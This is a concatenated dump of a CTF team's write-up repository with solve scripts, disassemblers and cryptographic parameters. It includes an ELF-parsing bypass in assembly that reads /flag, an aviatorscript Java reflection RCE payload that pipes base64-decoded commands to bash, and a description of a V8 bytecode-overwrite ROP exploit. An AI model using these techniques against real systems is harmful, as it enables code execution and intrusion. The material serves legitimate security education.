├── .gitignore ├── 0ctf2023 ├── 0gn │ ├── README.md │ ├── bytecode.bin │ ├── custom_opcode.json │ ├── disas.py │ ├── disas.txt │ ├── flagchecker.deobf.js │ └── solve.py ├── 3dsboy │ ├── README.md │ ├── extract.py │ └── solve.sage ├── BabyKitDriver │ ├── BabyKitDriver.kext_D5ED88B9E517723BF57C28E742D3AE49.zip │ ├── exp.c │ └── readme.md ├── ctar │ ├── README.md │ └── solve.py ├── double_rsa │ ├── README.md │ ├── fast_chalsolve.py │ ├── gen_smooth.py │ ├── params.py │ ├── solve0.py │ └── solve1.py ├── everything_is_permitteed │ ├── README.md │ └── everything_is_permitted.asm ├── ezjava │ └── README.md ├── half_promise │ ├── README.md │ └── exploit.js ├── hashmaster │ ├── README.md │ ├── easy │ │ ├── asm.txt │ │ └── ass.py │ └── insane │ │ ├── actual_partial_hash.bin │ │ ├── ass.py │ │ ├── copy_partial_hash.txt │ │ ├── hash.txt │ │ ├── jitted.txt │ │ ├── macros.txt │ │ └── setup.txt ├── how2compile │ ├── Cerberus.webp │ ├── README.md │ ├── how2compile_7e4f6a5038e2ae91146106bf707a0eea.zip │ ├── how2compile_fixed_bf935dd243206ab06b6035173dbe1582.zip │ └── ticket-33.png ├── mathexam │ └── README.md ├── newdiary │ └── README.md ├── nothing_is_true │ ├── README.md │ └── nothing_is_true.asm ├── olapinfra │ └── README.md └── parsing │ ├── README.md │ ├── call_graph.svg │ ├── parser_1e5451a5579d477d7dd2645f30d52a89 │ ├── parser_1e5451a5579d477d7dd2645f30d52a89.bndb_hlil.txt │ └── solve.py ├── README.md ├── hitcon2023 ├── careless_padding │ ├── README.md │ └── sploit.py ├── crypto_collision │ ├── README.md │ ├── brute.cpp │ ├── findseed.cpp │ └── solver.py ├── crypto_echo │ ├── README.md │ └── exploit.sage ├── crypto_share │ ├── README.md │ └── solver.sage ├── forensics_not_just_usbpcap │ └── README.md ├── full_chain_the_blade │ ├── README.md │ ├── solver.py │ └── verify_asm ├── full_chain_wall_maria │ ├── README.md │ └── qemu_escape.cc ├── full_chain_wall_rose │ ├── README.md │ ├── kernel_exploit_post_ctf.cc │ └── kernel_exploit_unreliable.cc ├── full_chain_wall_sina │ ├── README.md │ └── exploit.c ├── full_chain_wall_umi │ └── README.md ├── misc_hitoj │ └── README.md ├── misc_lisp_js │ └── README.md ├── pwn_qqq │ ├── README.md │ ├── a.s │ └── qqq.py ├── rev_crazyarcade │ ├── README.md │ └── solve.py └── rev_less_equal_more │ ├── Cargo.toml │ ├── README.md │ ├── disass.txt │ ├── solve.py │ └── src │ ├── disass.rs │ ├── lifter.rs │ └── main.rs ├── hitcon2024 ├── README.md ├── crypto_brokenshare │ ├── README.md │ └── solve.py ├── crypto_zkpof │ ├── README.md │ ├── solve.py │ ├── solve_pq.sage │ └── src │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ └── server.py ├── misc_flag_reader │ ├── README.md │ └── solve.py ├── pwn_setjmp │ └── README.md ├── pwn_v8sbx │ └── README.md ├── pwn_v8sbx_revenge │ ├── README.md │ ├── exp.js │ └── exp_send.js ├── rev_penguin_and_crap │ ├── README.md │ └── solver.py ├── rev_revisual │ ├── README.md │ ├── canvas_calc.glsl │ ├── index.html │ ├── script-deob.min.js │ ├── script.min.js │ └── solve.py ├── web3_lustrous │ ├── Counter.s.sol │ ├── README.md │ └── exploit.py ├── web3_noexitroom │ └── READM.md ├── web_gleamering_{star,hope} │ ├── README.md │ ├── gleamering-hope-solver.py │ └── glmearing-star-solver.py └── web_rclone │ ├── README.md │ ├── index.html │ └── index.js ├── rwctf2024 ├── YouKnowHowToFuzz │ └── README.md ├── chatterbox │ ├── README.md │ ├── exploit.sh │ ├── payload │ └── sol.py ├── hoshmonstar │ ├── README.md │ ├── code.bin │ ├── merge.py │ ├── sol_aarch64.bin │ ├── sol_riscv.bin │ ├── sol_x86.bin │ └── stub.bin ├── lets_party_in_the_house │ ├── Lets-party-in-the-house_2cd37ebed31d41afb6bbe094659985d9.tar.xz │ ├── README.md │ └── exp.py ├── llm_sanitizer │ └── README.md ├── longrange2 │ ├── README.md │ ├── audition.png │ └── lora2.png ├── minioday │ └── README.md ├── safebridge │ └── README.md └── the_truth_of_plain │ ├── README.md │ └── pcap.png ├── seccon2023 ├── README.md ├── crypto_cigisicgicgicg │ ├── README.md │ └── solve.py ├── crypto_increasing_entropoid │ ├── README.md │ ├── grouplaw.sage │ ├── step1.sage │ ├── step2.py │ ├── step3.py │ └── symbolic_mersenne_cracker.py ├── crypto_mystic_harmony │ ├── README.md │ ├── sample.txt │ └── solve.sage ├── crypto_plai_n_rsa │ ├── README.md │ └── solve.py ├── crypto_rsa4 │ ├── README.md │ └── solve.sage ├── misc_readme │ └── README.md ├── misc_tokyo_payload │ └── README.md ├── pwn_blackout │ ├── README.md │ └── exploit.py ├── pwn_datastore1 │ ├── README.md │ └── exploit.py ├── pwn_kmemo │ ├── README.md │ └── kernel_exploit.cc ├── pwn_qmemo │ ├── README.md │ └── qemu_exploit.cc ├── pwn_rop-2.35 │ └── README.md ├── pwn_selfcet │ ├── README.md │ └── exploit.py ├── pwn_umemo │ ├── README.md │ └── userland_exploit.py ├── rev_jumpout │ ├── README.md │ └── solve.py ├── rev_optinimize │ ├── README.md │ └── solve.py ├── rev_perfect_blu │ ├── README.md │ └── solve.py ├── rev_sickle │ ├── README.md │ └── solve.py ├── rev_xuyao │ ├── README.md │ └── solve.py ├── sandbox_crabox │ ├── README.md │ ├── app.py │ ├── crabox.tar.gz │ └── solve.py ├── web_Bad-JWT │ └── README.md ├── web_eeeeejs │ └── README.md └── web_simplecalc │ ├── README.md │ └── simple-calc.tar.gz └── seccon2024 ├── crypto_dual_summon └── README.md ├── crypto_reiwa_rot13 └── README.md ├── jail_1linepyjail └── README.md ├── jail_pp4 └── README.md ├── paragraph └── README.md ├── pwn_makeropgreatagain ├── README.md └── solver.py ├── pwn_toy2 └── README.md ├── rev_fisforflag ├── README.md ├── screenshot1.png ├── screenshot2.png ├── screenshot3.png ├── screenshot4-mod.png ├── screenshot4.png ├── screenshot5-xor.png ├── screenshot6-rotate.png └── solveit.py ├── rev_jump ├── README.md └── jump.c ├── rev_packed └── README.md ├── rev_qrackv ├── README.md └── solve_fast.py ├── rev_reaction ├── README.md ├── solve.mov └── solve.py ├── web_double_parser └── README.md ├── web_javascrypto ├── JavaScrypto.tar.gz ├── README.md ├── crypto-js.js └── solve │ ├── attack │ ├── controller_template.js │ ├── index.html │ └── index2.html │ ├── crypto-js.js │ ├── gen_crypto.js │ ├── script.py │ ├── solve_chal.sh │ └── xss_script.js ├── web_self_ssrf └── README.md ├── web_tanuki_udon ├── README.md ├── script.py └── tanuki_udon.tar.gz ├── web_trillion_bank ├── README.md └── solve.mjs └── welcome ├── README.md └── welcome.png /.gitignore: -------------------------------------------------------------------------------- 1 | .*.sw? 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /0ctf2023/0gn/bytecode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/0gn/bytecode.bin -------------------------------------------------------------------------------- /0ctf2023/0gn/disas.py: -------------------------------------------------------------------------------- 1 | import json 2 | OPCODES = json.load(open("custom_opcode.json")) 3 | opmap = {c["opcode"]: (k, c) for k, c in OPCODES.items()} 4 | 5 | f = open("bytecode.bin", "rb") 6 | 7 | while 1: 8 | opc = f.read(1) 9 | if not opc: 10 | break 11 | opc = opc[0] 12 | print("0x%04x: %02x " % (f.tell(), opc), end=" ") 13 | if opc == 0: 14 | suffix = ".Wide" 15 | arglen = 2 16 | opc = f.read(1)[0] 17 | elif opc == 1: 18 | suffix = ".ExtraWide" 19 | arglen = 4 20 | opc = f.read(1)[0] 21 | else: 22 | suffix = "" 23 | arglen = 1 24 | 25 | opname, opdata = opmap.get(opc, ("UNK_%02x" % opc, {})) 26 | argcount = opdata.get("args_count", 0) 27 | argtypes = opdata.get("args", []) 28 | arglens = [{ 29 | "OperandType::kRuntimeId": 2, 30 | "OperandType::kFlag8": 1, 31 | }.get(c, arglen) for c in argtypes] 32 | args = ", ".join(["0x" + f.read(n)[::-1].hex() for n in arglens]) 33 | print(f"{opname}{suffix} {args}") 34 | -------------------------------------------------------------------------------- /0ctf2023/0gn/solve.py: -------------------------------------------------------------------------------- 1 | # from v8::internal::Runtime_TypedArrayVerify 2 | import struct 3 | 4 | target = [None] * 32 5 | target[0] = 0x28 6 | target[1] = 0xa5 7 | target[2] = 0xa9 8 | target[3] = 0xcd 9 | target[4] = 0x34 10 | target[5] = 10 11 | target[6] = 0xb9 12 | target[7] = 0xb2 13 | target[8] = 0xf2 14 | target[9] = 0x54 15 | target[10] = 0xe5 16 | target[11] = 0x56 17 | target[12] = 0x68 18 | target[13] = 0x41 19 | target[14] = 0xfd 20 | target[15] = 0xee 21 | target[16] = 0x1a 22 | target[17] = 0xe8 23 | target[18] = 0x33 24 | target[19] = 0xb3 25 | target[20] = 0x25 26 | target[21] = 0x8a 27 | target[22] = 0x97 28 | target[23] = 0xb9 29 | target[24] = 0xd0 30 | target[25] = 0xac 31 | target[26] = 0xcd 32 | target[27] = 0xf0 33 | target[28] = 0x85 34 | target[29] = 0xba 35 | target[30] = 7 36 | target[31] = 0xeb 37 | 38 | target = bytes(target) 39 | blocks = [struct.unpack("> 5) + k1 ^ i + l)) & 0xffffffff 50 | l = (l - ((r * 0x10) + k0 ^ (r >> 5) + k1 ^ r + i)) & 0xffffffff 51 | i = (i - 0x97a6e537) & 0xffffffff 52 | 53 | l ^= iv[0] 54 | r ^= iv[1] 55 | iv = block 56 | decrypted += struct.pack(" n: 36 | n1 = n // 2 + 1 37 | 38 | gen = ((i, s, x, target, n1, charset) for i, s in enumerate(product(charset, repeat=n-n1))) 39 | p = Pool() 40 | for res in p.imap_unordered(_solve_challenge_worker, gen): 41 | if res: 42 | p.terminate() 43 | return res 44 | 45 | if __name__ == "__main__": 46 | import sys 47 | 48 | print(solve_challenge(sys.argv[1].encode(), sys.argv[2]).decode()) 49 | -------------------------------------------------------------------------------- /0ctf2023/double_rsa/gen_smooth.py: -------------------------------------------------------------------------------- 1 | """ make smooth p/q for easy recovery of e """ 2 | import numpy as np 3 | import random 4 | import math 5 | from Crypto.Util.number import isPrime 6 | 7 | primes = [] 8 | maxbits = 15 9 | 10 | sieve = np.ones((1 << maxbits,), dtype=bool) 11 | sieve[1] = False 12 | for i in range(2, len(sieve)): 13 | if sieve[i]: 14 | primes.append(i) 15 | sieve[::i] = False 16 | 17 | def factor(x): 18 | res = [] 19 | for p in primes: 20 | count = 0 21 | while x % p == 0: 22 | x //= p 23 | count += 1 24 | if count: 25 | res.append((p, count)) 26 | if x == 1: 27 | return res 28 | raise Exception("couldn't factorize %d with small primes" % x) 29 | 30 | def getSmoothPrime(bits): 31 | good_primes = [p for p in primes if p.bit_length() == maxbits] 32 | while 1: 33 | n = 1 34 | while n.bit_length() < bits - maxbits: 35 | n *= random.choice(good_primes) 36 | n *= 2 37 | if n.bit_length() >= bits - 6: 38 | continue 39 | rr = range(((3 << (bits - 2)) + n - 1) // n, ((1 << bits) - 1) // n + 1) 40 | n *= random.choice([pp for pp in primes if pp in rr]) 41 | if isPrime(n + 1): 42 | return n + 1 43 | 44 | if __name__ == "__main__": 45 | from collections import Counter 46 | 47 | p = getSmoothPrime(512) 48 | pf = factor(p - 1) 49 | 50 | while 1: 51 | q = getSmoothPrime(512) 52 | qf = factor(q - 1) 53 | if [f for (f, _) in qf if (f, 1) in pf and f != 2]: 54 | continue 55 | break 56 | 57 | n = p * q 58 | nf = factor((p - 1) * (q - 1)) 59 | 60 | g = 2 61 | while 1: 62 | if all(pow(g, (p - 1) // f, p) != 1 for f, _ in pf) and \ 63 | all(pow(g, (q - 1) // f, q) != 1 for f, _ in qf): 64 | break 65 | g += 1 66 | 67 | with open("params.py.new", "w") as outf: 68 | print(f"{p = }", file=outf) 69 | print(f"{pf = }", file=outf) 70 | print(f"{q = }", file=outf) 71 | print(f"{qf = }", file=outf) 72 | print(f"{n = }", file=outf) 73 | print(f"{nf = }", file=outf) 74 | print(f"{g = }", file=outf) 75 | -------------------------------------------------------------------------------- /0ctf2023/double_rsa/params.py: -------------------------------------------------------------------------------- 1 | p = 12263546037352983921005222131263790689999830048132380429040868544780071351852605026641599619448519284551476553639717061456568349880682807719426458079526199 2 | pf = [(2, 1), (16553, 1), (16693, 1), (17377, 1), (17539, 1), (18457, 1), (19259, 1), (20129, 1), (20149, 1), (20599, 1), (20611, 1), (22153, 1), (22469, 1), (22993, 1), (23003, 1), (23911, 1), (24281, 1), (25453, 1), (26431, 1), (26927, 1), (27691, 1), (28201, 1), (28387, 1), (28697, 1), (28867, 1), (28921, 1), (29873, 1), (30307, 1), (30347, 1), (30469, 1), (30631, 1), (30637, 1), (31033, 1), (31223, 1), (32479, 1), (32719, 1)] 3 | q = 10491061102007974503155488288513846828178495525209654244952349525425184119099005014054990496198478096337683468164270619760914183044933060343924099064318547 4 | qf = [(2, 1), (15101, 1), (17987, 1), (18191, 1), (18353, 1), (19037, 1), (19381, 1), (20269, 1), (20771, 1), (20963, 1), (21031, 1), (22111, 1), (22871, 1), (23053, 1), (23677, 1), (23899, 1), (24391, 1), (24547, 1), (25373, 1), (25589, 1), (26119, 1), (26227, 1), (26347, 1), (27367, 1), (27437, 1), (28603, 1), (29153, 1), (29251, 1), (29339, 1), (31517, 1), (31547, 1), (31643, 1), (32069, 1), (32089, 1), (32159, 1), (32621, 1)] 5 | n = 128657610805157924343861673906966884270911804520484728795054763248220551130694349328850558232555082481034174573038066752926071551368118859729617383979421031244327356456040935609012851248107453427266908731771280653318554947474628200230288253879334414181252057194702203465831965862383423395151795001236568112853 6 | nf = [(2, 2), (15101, 1), (16553, 1), (16693, 1), (17377, 1), (17539, 1), (17987, 1), (18191, 1), (18353, 1), (18457, 1), (19037, 1), (19259, 1), (19381, 1), (20129, 1), (20149, 1), (20269, 1), (20599, 1), (20611, 1), (20771, 1), (20963, 1), (21031, 1), (22111, 1), (22153, 1), (22469, 1), (22871, 1), (22993, 1), (23003, 1), (23053, 1), (23677, 1), (23899, 1), (23911, 1), (24281, 1), (24391, 1), (24547, 1), (25373, 1), (25453, 1), (25589, 1), (26119, 1), (26227, 1), (26347, 1), (26431, 1), (26927, 1), (27367, 1), (27437, 1), (27691, 1), (28201, 1), (28387, 1), (28603, 1), (28697, 1), (28867, 1), (28921, 1), (29153, 1), (29251, 1), (29339, 1), (29873, 1), (30307, 1), (30347, 1), (30469, 1), (30631, 1), (30637, 1), (31033, 1), (31223, 1), (31517, 1), (31547, 1), (31643, 1), (32069, 1), (32089, 1), (32159, 1), (32479, 1), (32621, 1), (32719, 1)] 7 | g = 14 8 | -------------------------------------------------------------------------------- /0ctf2023/everything_is_permitteed/README.md: -------------------------------------------------------------------------------- 1 | # Everything is Permitted 2 | 3 | ## Overview 4 | 5 | This challenge is a follow-up to [Nothing is True](../nothing_is_true/README.md). 6 | The problem is essentially the same, with the following differences: 7 | - The Python checker expects a 32-bit ELF (as determined by 8 | `e_ident[EI_CLASS]`. 9 | - There are some minor changes to addresses and allowed syscalls in the 10 | seccomp policy. These changes aren't very interesting - they still 11 | allow the program to read and output the flag given the ability to 12 | run 32 bit and 64 bit syscalls. 13 | 14 | ## Exploit 15 | 16 | We exploit the same pyelftools vs. Linux ELF parsing difference, except 17 | in the reverse direction. 18 | 19 | This time, we construct an ELF with `e_ident[EI_CLASS] = 1` (32 bit) and 20 | `e_machine = 0x3e` (x86-64). 21 | 22 | Once again, we use differences in field lengths in 64 bit vs 32 bit ELFs 23 | to contain an RWX segment when the ELF is treated as 64 bit, while 24 | containing a fake non-loaded segment when treated as 32 bit. 25 | 26 | This allows us to execute arbitrary 32 bit and 64 bit syscalls, and 27 | obtain the flag. 28 | 29 | [everything_is_permitted.asm](everything_is_permitted.asm) 30 | -------------------------------------------------------------------------------- /0ctf2023/everything_is_permitteed/everything_is_permitted.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | org 0x3400000000 4 | 5 | ehdr: ; Elf64_Ehdr 6 | db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident 7 | times 8 db 0 8 | dw 2 ; e_type 9 | dw 0x3e ; e_machine 10 | dd 1 ; e_version 11 | dq _start ; e_entry 12 | dq 0x40 ; e_phoff 13 | dd 0x34 ; e_shoff (fake e_ehsize) 14 | dd 1 ; e_shoff (fake e_phnum) 15 | dd 0 ; e_flags 16 | dw ehsize ; e_ehsize 17 | dw phentsize ; e_phentsize 18 | dw phnum ; e_phnum 19 | dw 0 ; e_shentsize 20 | dw 0 ; e_shnum 21 | dw 0 ; e_shstrndx 22 | ehsize equ $ - ehdr 23 | 24 | phdr: ; Elf64_Phdr 25 | dd 1 ; p_type 26 | dd 7 ; p_flags 27 | dq 0 ; p_offset 28 | dq $$ ; p_vaddr 29 | dq $$ ; p_paddr 30 | dq filesize ; p_filesz 31 | dq filesize ; p_memsz 32 | dq 0x1000 ; p_align 33 | phentsize equ $ - phdr 34 | 35 | dd 1 ; p_type 36 | dd 7 ; p_flags 37 | dq 0 ; p_offset 38 | dq 0x1337331000 ; p_vaddr 39 | dq 0x1337331000 ; p_paddr 40 | dq filesize ; p_filesz 41 | dq filesize ; p_memsz 42 | dq 0x1000 ; p_align 43 | 44 | dd 1 ; p_type 45 | dd 7 ; p_flags 46 | dq 0 ; p_offset 47 | dq 0x40000 ; p_vaddr 48 | dq 0x40000 ; p_paddr 49 | dq filesize ; p_filesz 50 | dq filesize ; p_memsz 51 | dq 0x1000 ; p_align 52 | phnum equ ($ - phdr) / phentsize 53 | 54 | times 0x337 - ($ - $$) db 0 55 | flag: 56 | db "/flag", 0 57 | 58 | _start: 59 | 60 | mov ebx, 0xc380cd ^ 0x111111 61 | xor ebx, 0x111111 62 | mov dword [rel syscall32], ebx 63 | 64 | mov ebx, 0xc3050f ^ 0x111111 65 | xor ebx, 0x111111 66 | mov dword [rel syscall64], ebx 67 | 68 | mov rsi, 0 69 | mov rdi, 0x1337331337 70 | mov rax, 2 71 | call syscall64 72 | 73 | mov ebx, eax 74 | mov ecx, 0x40000 75 | mov edx, 0x100 76 | mov eax, 3 77 | call syscall32 78 | 79 | mov edx, eax 80 | mov ebx, 1 81 | mov eax, 4 82 | call syscall32 83 | 84 | mov ebx, 137 85 | mov eax, 1 86 | call syscall32 87 | 88 | syscall32: 89 | dd 0 90 | 91 | syscall64: 92 | dd 0 93 | 94 | filesize equ $ - $$ 95 | 96 | -------------------------------------------------------------------------------- /0ctf2023/ezjava/README.md: -------------------------------------------------------------------------------- 1 | # ezjava 2 | 3 | * Writeup by Ricky, Ryan, Vie, Alueft 4 | 5 | ## Summary 6 | `aviatorscript` (JVM-hosted language) jail that you upload into an `ipfs` node and use the app's `curl` to navigate to for RCE. 7 | 8 | ## Overview 9 | 10 | Sourceless web-app that has an endpoint called `/aviatorscript` and a homepage which tells you to input any URL and the app's curl-as-a-service (CaaS) will visit it. There exists a restrictive allowlist that you must blackbox to figure out what it looks like. 11 | 12 | The homepage has a placeholder URL `/eval` to a localhost endpoint which just hosts a simple addition equation in plaintext. If you submit it, `/aviatorscript` will ostensibly evaluate that equation and print it. 13 | 14 | ## Solution 15 | Googling around for `aviatorscript` gives you [this](https://github.com/killme2008/aviatorscript/blob/master/README-EN.md), describing it as a JVM-hosted scripting language. More documentation about it is found [here](https://www.yuque.com/boyan-avfmj/aviatorscript/cpow90). It can be hypothesized that the `/aviatorscript` endpoint will attempt to evaluate the results of where it curls to, as shown with the placeholder `/eval` URL. 16 | 17 | After some time blackboxing the CaaS, one can observe that the `ipfs://` protocol is allowed. Some [documentation and research](https://docs.ipfs.tech/install/command-line/#install-official-binary-distributions) into this protocol shows us that we can host files in an IPFS node, which we use to our advantage to bypass the CaaS allowlist. 18 | 19 | The question then navigates to formulating an appropriate `aviatorscript` jail now that we can send the CaaS to arbitrary IPFS locations. Certain ideas like Java class deserialization attacks or plain ol' evals don't do the trick - there appears to be another restrictive allowlist that dictates what expressions are allowed to be evaluated. After some additional blackboxing we discover that primitives such as `seq.list()` and `getClass()` are allowed. We use these, alongside a few other native functions (such as `invoke()`, `getMethods()` and `toArray()`), to call `java.lang.Runtime` and read us the flag. Our full payload is below - we base64 encode it to a tmp file to avoid weird parsing issues with in-line bash commands. 20 | 21 | ```java 22 | invoke(getMethods(invoke(getMethods(getClass(getClass("")))[3], nil, toArray(seq.list("java.lang.Runtime"))))[12], 23 | invoke(getMethods(invoke(getMethods(getClass(getClass("")))[3], nil, toArray(seq.list("java.lang.Runtime"))))[0], nil, toArray(seq.list())), 24 | toArray(seq.list("bash -c echo${IFS}BASE64_COMMAND_HERE>/tmp/n;base64${IFS}-d${IFS}/tmp/n|bash")) 25 | ) 26 | ``` 27 | 28 | The TL;DR is as follows: 29 | 30 | 1. Construct your aviatorscript jail to read the flag. 31 | 2. Upload your aviatorscript code into the ipfs node network. 32 | 3. Tell the CaaS in the app to navigate to `ipfs://` 33 | 4. Okay flag -------------------------------------------------------------------------------- /0ctf2023/half_promise/README.md: -------------------------------------------------------------------------------- 1 | ## Half Promise - V8 Pwn Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | Half Promise was a pwn challenge solved by 8 teams, worth 611 points. 4 | 5 | Description: 6 | 7 | > Try the half RCE challenge! 8 | > 9 | > nc chall.ctf.0ops.sjtu.cn 36000 10 | 11 | This is a challenge to exploit the [V8](https://v8.dev/) JavaScript engine which powers Chrome. We're provided with a copy of the command-line V8 implementation, d8, that was built with the following configuration: 12 | 13 | ``` 14 | is_debug=false 15 | dcheck_always_on=false 16 | v8_static_library=true 17 | target_cpu="x64" 18 | v8_enable_sandbox=true 19 | v8_enable_object_print=true 20 | v8_expose_memory_corruption_api=true 21 | ``` 22 | 23 | as well as a (standard) patch to disable the default shell global template to prevent trivial solutions. 24 | 25 | The crucial configuration item is `v8_expose_memory_corruption_api=true`. This enables the [Memory Corruption API](https://chromium.googlesource.com/v8/v8/+/4a12cb1022ba335ce087dcfe31b261355524b3bf), which gives us effectively read/write access to any part of the V8 heap. This API is meant for testing the V8 sandbox. 26 | 27 | > In fact, a very similar problem was present in Google CTF 2023, called V8Box, which I also solved. I was able to take my exploit script for that challenge, tweak some of the constants, and make it work for this challenge. 28 | 29 | The general idea behind the exploit is to overwrite the bytecode for a JavaScript function. For speed, the bytecode handlers (`Builtins_*Handler`) do not perform any bounds checking. Thus, by specifying out-of-bounds indices for instructions like `ldar` and `star`, we can read and write on the stack. 30 | 31 | Due to the sandbox and pointer compression, most of the pointers on the heap are 32-bit offsets into the 4GB V8 heap region. However, there are a few 64-bit pointers to the native heap lying around, most notably in `MemoryChunk` objects, which we can use to break the ASLR base of the binary. 32 | 33 | The exploit script can be found in [`exploit.js`](exploit.js). It performs the following: 34 | 35 | 1. Define a JS function whose bytecode will be overwritten 36 | 2. Use the Memory Corruption API to obtain a writable reference to the function's bytecode 37 | 3. Overwrite the bytecode to execute `Ldar +1; Return`, which will retrieve and return the stored RIP on the stack. This RIP points into the d8 binary, and will be interpreted as an [Smi](https://v8.dev/blog/elements-kinds) when returned to JavaScript, thus allowing us to leak the low 32 bits of an executable pointer. 38 | 4. Obtain the high 32 bits of the executable pointer by leaking a native heap address from a MemoryChunk object at a fixed offset in the heap (the MemoryChunk is always at v8 heap base + 0x40000) 39 | 5. Construct a ROP chain in memory using gadgets from the d8 binary 40 | 6. Overwrite the bytecode again to execute `LdaConstant [0]; Star +17; Return`, which writes the address of the ROP chain to the saved RBP of a parent stack frame. 41 | 7. Upon finishing the JS script, the ROP chain will be triggered, giving us a shell. 42 | -------------------------------------------------------------------------------- /0ctf2023/hashmaster/insane/actual_partial_hash.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/hashmaster/insane/actual_partial_hash.bin -------------------------------------------------------------------------------- /0ctf2023/hashmaster/insane/copy_partial_hash.txt: -------------------------------------------------------------------------------- 1 | // copy the current hash value into the buffer 2 | 3 | // this line is moved into setup 4 | //movabs eax, 0x20004a0 5 | 6 | movabs rbx, {hash_0} 7 | mov [rax], rbx 8 | movabs rbx, {hash_1} 9 | mov [rax+8], rbx 10 | 11 | 12 | movabs rbx, {hash_2} 13 | mov [rax+0x10], rbx 14 | movabs rbx, {hash_3} 15 | mov [rax+0x18], rbx 16 | 17 | mov eax, 0x1180000 18 | jmp rax 19 | 20 | .align 0x40, 0x90 -------------------------------------------------------------------------------- /0ctf2023/hashmaster/insane/jitted.txt: -------------------------------------------------------------------------------- 1 | // the partial hash is in place, now we copy the template into memory 32-bytes at a time and fix it up 2 | 3 | .include "hash.txt" 4 | 5 | mov rax, 0x2000500 6 | {templatedata_movs} 7 | 8 | // fix up the template data 9 | mov rbx, 0x20004a0 10 | mov rcx, qword ptr [rbx] 11 | mov qword ptr [rax+0x2], rcx 12 | mov rcx, qword ptr [rbx+8] 13 | mov qword ptr [rax+0xf], rcx 14 | 15 | mov rcx, qword ptr [rbx+0x10] 16 | mov qword ptr [rax+0x1d], rcx 17 | mov rcx, qword ptr [rbx+0x18] 18 | mov qword ptr [rax+0x2b], rcx 19 | 20 | // ok now we just have to make a couple of hash calls 21 | .macro hash_addr base 22 | 23 | movups xmm0, xmmword ptr [\base + 0x0] 24 | movups xmmword ptr [0x2000450], xmm0 25 | movups xmm0, xmmword ptr [\base + 0x10] 26 | movups xmmword ptr [0x2000460], xmm0 27 | movups xmm0, xmmword ptr [\base + 0x20] 28 | movups xmmword ptr [0x2000470], xmm0 29 | movups xmm0, xmmword ptr [\base + 0x30] 30 | movups xmmword ptr [0x2000480], xmm0 31 | 32 | mov rdi, 0x2000450 33 | mov rsi, 0x2000450 34 | 35 | hash_body 36 | 37 | .endm 38 | 39 | hash_addr 0x2000500 40 | 41 | mov rax, 0x2000500 42 | {constantdata3_moves} 43 | 44 | hash_addr 0x2000500 45 | 46 | // todo: the final hash function 47 | 48 | movabs r13, 0x2000450 49 | movabs rbx, 0x2000000 50 | 51 | mov r12d, dword ptr [r13 + 0x50] 52 | BSWAP r12d 53 | mov dword ptr [rbx], r12d 54 | 55 | mov r12d, dword ptr [r13 + 0x54] 56 | BSWAP r12d 57 | mov dword ptr [rbx+0x4], r12d 58 | 59 | mov r12d, dword ptr [r13 + 0x58] 60 | BSWAP r12d 61 | mov dword ptr [rbx+0x8], r12d 62 | 63 | mov r12d, dword ptr [r13 + 0x5c] 64 | BSWAP r12d 65 | mov dword ptr [rbx+0xc], r12d 66 | 67 | mov r12d, dword ptr [r13 + 0x60] 68 | BSWAP r12d 69 | mov dword ptr [rbx+0x10], r12d 70 | 71 | mov r12d, dword ptr [r13 + 0x64] 72 | BSWAP r12d 73 | mov dword ptr [rbx+0x14], r12d 74 | 75 | mov r12d, dword ptr [r13 + 0x68] 76 | BSWAP r12d 77 | mov dword ptr [rbx+0x18], r12d 78 | 79 | mov r12d, dword ptr [r13 + 0x6c] 80 | BSWAP r12d 81 | mov dword ptr [rbx+0x1c], r12d 82 | 83 | hlt 84 | mov rax, [0x0] 85 | .align 8 -------------------------------------------------------------------------------- /0ctf2023/hashmaster/insane/macros.txt: -------------------------------------------------------------------------------- 1 | .macro label_1210 2 | 3 | movq xmm2, qword ptr [rax - 0x3c] 4 | add rax, 8 5 | movdqa xmm1, xmm2 6 | movdqa xmm3, xmm2 7 | movdqa xmm4, xmm2 8 | psrld xmm3, 0x12 9 | pslld xmm1, 0xe 10 | por xmm1, xmm3 11 | psrld xmm4, 7 12 | movdqa xmm3, xmm2 13 | pslld xmm3, 0x19 14 | psrld xmm2, 3 15 | por xmm3, xmm4 16 | movdqa xmm4, xmm0 17 | pxor xmm1, xmm3 18 | psrld xmm4, 0x11 19 | movdqa xmm3, xmm0 20 | pxor xmm1, xmm2 21 | psrld xmm3, 0x13 22 | movdqa xmm2, xmm0 23 | pslld xmm2, 0xd 24 | por xmm2, xmm3 25 | movdqa xmm3, xmm0 26 | pslld xmm3, 0xf 27 | psrld xmm0, 0xa 28 | por xmm3, xmm4 29 | pxor xmm2, xmm3 30 | pxor xmm0, xmm2 31 | movq xmm2, qword ptr [rax - 0x48] 32 | paddd xmm1, xmm0 33 | movq xmm0, qword ptr [rax - 0x24] 34 | paddd xmm0, xmm2 35 | paddd xmm0, xmm1 36 | movq qword ptr [rax - 8], xmm0 37 | cmp rax, rdx 38 | .endm 39 | 40 | .macro label_12f0_lol 41 | mov ebx, r11d 42 | mov r10d, r9d 43 | mov r11d, ecx 44 | mov r9d, esi 45 | mov ecx, r15d 46 | mov esi, eax 47 | 48 | mov eax, ecx 49 | mov edx, ecx 50 | mov r15d, ecx 51 | ror edx, 0xb 52 | ror eax, 6 53 | and r15d, r11d 54 | xor eax, edx 55 | mov edx, ecx 56 | rol edx, 7 57 | xor eax, edx 58 | mov edx, dword ptr [r12 + r8] 59 | add edx, dword ptr [r14 + r8] 60 | add r8, 4 61 | add eax, edx 62 | mov edx, ecx 63 | not edx 64 | and edx, ebx 65 | xor edx, r15d 66 | mov r15d, r9d 67 | add eax, edx 68 | mov edx, esi 69 | and r15d, r10d 70 | add eax, edi 71 | mov edi, esi 72 | ror edx, 2 73 | ror edi, 0xd 74 | xor edx, edi 75 | mov edi, esi 76 | rol edi, 0xa 77 | xor edx, edi 78 | mov edi, r9d 79 | xor edi, r10d 80 | and edi, esi 81 | xor edi, r15d 82 | lea r15d, [rax + rbp] 83 | mov ebp, r10d 84 | add edx, edi 85 | mov edi, ebx 86 | add eax, edx 87 | cmp r8, 0x100 88 | .endm 89 | 